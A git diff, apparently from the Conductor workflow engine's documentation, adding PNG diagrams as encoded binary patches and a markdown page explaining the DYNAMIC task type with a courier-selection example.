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 UDWdOV literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/operators/dynamic-task.md b/docs/documentation/configuration/workflowdef/operators/dynamic-task.md new file mode 100644 index 0000000..4534b5c --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/dynamic-task.md @@ -0,0 +1,110 @@ +--- +description: "Dynamic Task — resolve the task type at runtime in Conductor workflows for flexible, data-driven orchestration." +--- +# Dynamic +```json +"type" : "DYNAMIC" +``` + +The Dynamic task (`DYNAMIC`) is used to execute a registered task dynamically at run-time. It is similar to a function pointer in programming, and can be used for when the decision to execute which task will only be made after the workflow has begun. + +The Dynamic task accepts as input the name of a task, which can be a system task or a Worker task (`SIMPLE`) registered on Conductor. + + +## Task parameters + +To configure the Dynamic task, provide a `dynamicTaskNameParam` at the top level of the task configuration, as well as a matching parameter in `inputParameters` based on the `dynamicTaskNameParam`. + +For example, if `dynamicTaskNameParam` is "taskToExecute", the task name to execute is specified in `taskToExecute` in `inputParameters`. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| dynamicTaskNameParam | String | The parameter name for `inputParameters` whose value is used to schedule the task. For example, "taskToExecute". | Required. | +| taskToExecute | String | The name of the task that will be executed. | Required. +| + +You can also pass any other input for the Dynamic task into `inputParameters`. + +## JSON configuration + +Here is the task configuration for a Dynamic task. + +```json +{ + "name": "dynamic", + "taskReferenceName": "dynamic_ref", + "inputParameters": { + "taskToExecute": "${workflow.input.dynamicTaskName}" // name of the task to execute + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute" // input parameter key that will contain the task name to execute +} +``` + +# Output + +During execution, the Dynamic task is replaced with whatever task that is called at runtime. The output of the Dynamic task will be whatever the output of the called task is. + + +## Execution + +At runtime, if an incorrect task name is provided and the task does not exist, the workflow will fail with the error "Invalid task specified. Cannot find task by name in the task definitions." + +Likewise, if null reference is provided for the task name, the workflow will fail with the +error "Cannot map a dynamic task based on the parameter and input. Parameter= taskToExecute, input= {taskToExecute=null}". + + +## Examples + +In this example workflow, shipments are made with different couriers depending on the shipping address. + +The decision can only be made during runtime when the address is received, and the subsequent shipping task could be either `ship_via_fedex` or `ship_via_ups`. A Dynamic task can be used in this workflow so that the shipping task can be decided in real time. + +A preceding `shipping_info` generates an output to decide what task to run in the Dynamic task. + +Here is the workflow definition: + +```json +{ + "name": "Shipping_Flow", + "description": "Ships smartly based on the shipping address", + "version": 1, + "tasks": [ + { + "name": "shipping_info", + "taskReferenceName": "shipping_info_ref", + "inputParameters": {}, + "type": "SIMPLE" + }, + { + "name": "shipping_task", + "taskReferenceName": "shipping_task_ref", + "inputParameters": { + "taskToExecute": "${shipping_info.output.shipping_service}" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute" + } + ], + "inputParameters": [], + "outputParameters": {}, + "restartable": true, + "ownerEmail":"abc@example.com", + "workflowStatusListenerEnabled": true, + "schemaVersion": 2 +} +``` + +Here is the workflow flow: + +```mermaid +graph LR + A[Start] --> B[shipping_info] + B --> C["Dynamic Task
    (resolves at runtime)"] + C -->|"postal code starts with 9"| D[ship_via_fedex] + C -->|"other postal codes"| E[ship_via_ups] + D --> F[End] + E --> F +``` + +The shipping service is decided based on the postal code. If the postal code starts with 9, `ship_via_fedex` is executed. If the postal code starts with any other number, `ship_via_ups` is executed. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/fork-task-diagram.png b/docs/documentation/configuration/workflowdef/operators/fork-task-diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..324bb11957aec3ced5f60242036ab8b0870f6b98 GIT binary patch literal 21544 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 